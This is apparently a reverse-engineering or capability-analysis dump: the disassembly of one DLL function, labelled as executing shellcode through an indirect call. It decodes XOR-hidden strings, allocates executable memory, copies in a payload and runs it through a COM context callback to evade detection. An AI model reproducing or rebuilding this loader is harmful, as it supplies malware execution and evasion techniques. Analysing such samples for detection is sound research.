Function at 0x180001730
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x320], 0xfffffffffffffffe
mov eax, dword [0x1800434f0]
mov ecx, dword [0x180043540]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x180001ce1
cmp qword [0x1800434e8], 0
je 0x18000192f
lea rdi, [rbp - 0x50]
mov r8d, 0x208
mov rcx, rdi
xor edx, edx
call fcn.18002f090
mov rcx, qword [0x1800434f8]
mov rdx, rdi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1c0], xmm0
mov rcx, rdi
call fcn.180016600
lea rsi, [rbp + 0x1c0]
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.180006a60
lea rdi, [rbp + 0x2e0]
mov rcx, rdi
mov rdx, rsi
call fcn.1800014b0
mov rax, qword [rbp + 0x1d8]
cmp rax, 8
jb 0x18000183b
mov rcx, qword [rbp + 0x1c0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x180001836
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001df8
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.18000bdf8
movabs rax, 0x2f5fcc1d420d9a47
mov qword [rbp + 0x300], rax
mov rcx, qword [rbp + 0x300]
movabs rcx, 0x286ed5c125b477c4
mov qword [rbp + 0x308], rcx
mov rdx, qword [rbp + 0x308]
movabs rdx, 0x13aa17c2563f31b
mov qword [rbp + 0x1c0], rdx
mov rdx, qword [rbp + 0x1c0]
movabs rdx, 0x286ed5c125c016a0
mov qword [rbp + 0x1c8], rdx
mov rdx, qword [rbp + 0x1c8]
mov qword [rbp + 0x300], rax
mov rax, qword [rbp + 0x300]
mov qword [rbp + 0x308], rcx
mov rax, qword [rbp + 0x308]
movaps xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [rbp + 0x1c0]
movaps xmmword [rbp + 0x300], xmm0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
lea rcx, [rbp + 0x300]
call fcn.180015e90
test rax, rax
js 0x180001dfd
mov rbx, rax
cmp rax, 0xf
ja 0x180001939
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x1d8], 0xf
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x300]
mov r8, rbx
call fcn.18002e9f0
add rbx, rbp
add rbx, 0x1c0
jmp 0x1800019a7
mov eax, 0xffffffff
jmp 0x180001cd1
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov r15d, 0x16
cmovae r15, rax
cmp r15, 0xfff
jb 0x180001971
lea rcx, [r15 + 0x28]
call fcn.18000bdb4
mov r14, rax
add r14, 0x27
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x18000197d
lea rcx, [r15 + 1]
call fcn.18000bdb4
mov r14, rax
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x1d8], r15
lea rdx, [rbp + 0x300]
mov rcx, r14
mov r8, rbx
call fcn.18002e9f0
add rbx, r14
mov byte [rbx], 0
mov r8, qword [rbp + 0x1d0]
cmp qword [rbp + 0x1d8], 0x10
jb 0x1800019c2
mov rsi, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x2f0]
mov rax, qword [rbp + 0x2f8]
mov rdx, rax
sub rdx, rcx
cmp rdx, r8
jae 0x1800019f4
mov qword [rsp + 0x20], r8
lea rcx, [rbp + 0x2e0]
mov rdx, r8
mov r9, rsi
call fcn.180004040
jmp 0x180001a1b
lea rbx, [rcx + r8]
mov qword [rbp + 0x2f0], rbx
cmp rax, 0x10
jb 0x180001a0c
mov rdi, qword [rbp + 0x2e0]
add rcx, rdi
mov rdx, rsi
call fcn.18002e9f0
mov byte [rdi + rbx], 0
mov rax, qword [rbp + 0x1d8]
cmp rax, 0x10
jb 0x180001a60
mov rcx, qword [rbp + 0x1c0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001a5b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001df8
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.18000bdf8
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x2e0]
call fcn.180001090
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x300]
call fcn.180002b00
mov rdx, qword [rbp + 0x310]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov rax, qword [rbp + 0x318]
cmp rax, 0x10
jb 0x180001ae9
mov rcx, qword [rbp + 0x300]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001ae4
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001df8
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.18000bdf8
test rsi, rsi
je 0x180001c7e
lea rcx, [rbp + 0x1c0]
lea rdi, [rbp + 0x300]
mov rdx, rdi
call fcn.180002b00
mov rbx, qword [rbp + 0x300]
mov r14, qword [rbp + 0x318]
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x2c0]
call fcn.180002b00
cmp r14, 0x10
cmovae rdi, rbx
mov r8, qword [rbp + 0x2d0]
mov rcx, rsi
mov rdx, rdi
call fcn.18002e9f0
mov rax, qword [rbp + 0x2d8]
cmp rax, 0x10
jb 0x180001b88
mov rcx, qword [rbp + 0x2c0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001b83
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001df8
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.18000bdf8
mov rax, qword [rbp + 0x318]
cmp rax, 0x10
jb 0x180001bcd
mov rcx, qword [rbp + 0x300]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001bc8
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001df8
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.18000bdf8
mov ebx, dword [rsi]
cmp rbx, 0xa
jb 0x180001c7e
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x180001c7e
mov rdi, rax
mov rdx, rsi
add rdx, 4
mov rcx, rax
mov r8, rbx
call fcn.18002e9f0
movups xmm0, xmmword [section..rdata]
movaps xmmword [rbp + 0x300], xmm0
xor ecx, ecx
xor edx, edx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rbp + 0x2c0], 0
lea rbx, [rbp + 0x300]
lea rdx, [rbp + 0x2c0]
mov rcx, rbx
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov rcx, qword [rbp + 0x2c0]
mov rax, qword [rcx]
mov rax, qword [rax + 0x40]
mov dword [rsp + 0x20], 0
mov rdx, rdi
mov r8, rsi
mov r9, rbx
call rax
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1388
call rsi
mov ecx, 0xffffffff
call rsi
lea rcx, [rbp + 0x1c0]
call fcn.1800028f0
mov rax, qword [rbp + 0x2f8]
cmp rax, 0x10
jb 0x180001ccf
mov rcx, qword [rbp + 0x2e0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001cca
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180001df8
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.18000bdf8
xor eax, eax
add rsp, 0x3a8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
lea rcx, [0x1800434f0]
call fcn.18000be2c
cmp dword [0x1800434f0], 0xffffffff
jne 0x180001777
movabs rax, 0x154a10e2506f370
mov qword [rbp - 0x50], rax
mov rcx, qword [rbp - 0x50]
movabs rcx, 0x285cd5f225ac16c5
mov qword [rbp - 0x48], rcx
mov rdx, qword [rbp - 0x48]
movabs rdx, 0xe9c003de462c25fb
mov qword [rbp - 0x40], rdx
mov r8, qword [rbp - 0x40]
movabs r8, 0x7639e22f8902c5ea
mov qword [rbp - 0x38], r8
mov r9, qword [rbp - 0x38]
movabs r9, 0x13aa17c2563f31b
mov qword [rbp + 0x1c0], r9
mov r9, qword [rbp + 0x1c0]
movabs r9, 0x286ed5c125c016a0
mov qword [rbp + 0x1c8], r9
mov r9, qword [rbp + 0x1c8]
movabs r9, 0xe9ac03b2464825d5
mov qword [rbp + 0x2e0], r9
mov r9, qword [rbp + 0x2e0]
mov qword [rbp + 0x2e8], r8
mov r9, qword [rbp + 0x2e8]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov qword [rbp - 0x48], rcx
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x40], rdx
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x38], r8
mov rax, qword [rbp - 0x38]
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0x1c0]
movaps xmmword [rbp - 0x50], xmm0
xorps xmm1, xmmword [rbp + 0x2e0]
movaps xmmword [rbp - 0x40], xmm1
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x1800434e8], rax
lea rcx, [0x1800434f0]
call fcn.18000bea4
jmp 0x180001777
call fcn.180013ca8
call fcn.180003060
int3